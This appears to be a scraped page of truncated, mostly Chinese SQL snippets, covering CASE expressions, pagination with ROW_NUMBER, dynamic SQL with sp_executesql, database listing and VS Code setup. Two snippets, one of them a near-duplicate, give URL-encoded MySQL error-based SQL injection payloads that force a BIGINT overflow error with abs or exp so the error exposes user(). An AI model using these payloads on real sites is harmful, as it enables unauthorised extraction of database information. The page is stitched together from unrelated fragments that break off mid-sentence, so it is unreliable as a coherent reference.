普通情况下,用UNION也可以实现用一条语句进行查询。但是那样增加消耗(两个Select部分),而且SQL语句会比较长。下面是一个是用Case函数来完成这个功能的例子: 代码 这样我们使用Select,完成对二维表的输出形式,充分显示了Case函数的强大。
where [sId] not in (select top (3*(4-1)) [sid] from student)--4表示页数 select *, row_number() over(order by [sage] desc ) from student-- row_number() over (order by..)获取行号 --分页2 select * from (select *, row_number() over(order by [sid] desc ) as num from st...
基础知识 在PCRE正则表达式中，我们可以利用圆括号定义一个子组，我们可以使用preg_match函数（其他函数...
如果有替换值 SET @SqlQuery = 'SELECT @aExists=1 FROM ' + QUOTENAME(@TableName) + ' WHERE ' + QUOTENAME(@ColumnName) + ' = @OldValue' EXEC sp_executesql @SqlQuery, N'@OldValue NVARCHAR(MAX), @aExists INT OUTPUT', @OldValue, @aExists OUTPUT IF @aExists=1 BEGIN --将相关的...
报错特征 BIGINT UNSIGNED value is out of range in 不需要函数 ,直接让他报错出来 select%20(~(select%20*%20from(select%20user())x)%2b1,1) 也可以利用函数的参数让其报错 abs select abs(~(select * from (select user())a))+1 Exp select exp(~(select * from (select user())a))+1...
select name from master..sysdatabases where name not in('master','tempdb','model','msdb') else declare tb cursor local for select name from master..sysdatabases where name not in('master','tempdb','model','msdb') and(name like '%'+@dbname+'%') ...
Open an existing file with a .sql file extension or open a new text file (ctrl+n) and change the language mode to SQL by pressingctrl+k,mand selectSQL.mssqlcommands and functionalities are enabled in the SQL language mode in Visual Studio Code editor. ...
Open an existing file with a .sql file extension or open a new text file (ctrl+n) and change the language mode to SQL by pressingctrl+k,mand selectSQL.mssqlcommands and functionalities are enabled in the SQL language mode in Visual Studio Code editor. ...
BIGINT UNSIGNED value is out of range in 不需要函数 ,直接让他报错出来 select%20(~(select%20*%20from(select%20user())x)%2b1,1) 也可以利用函数的参数让其报错 abs select abs(~(select * from (select user())a))+1 Exp select exp(~(select * from (select user())a))+1 ...
SELECT [BusinessEntityID],[JobTitle],[BirthDate],[MaritalStatus],[Gender],[HireDate],CASE WHEN [SalariedFlag]=1 THEN [MaritalStatus] ELSE-1 END FROM [HumanResources].[Employee]; In the tipSQL Server CASE Expression Overview, Aaron has written a section about data type precedence in the CA...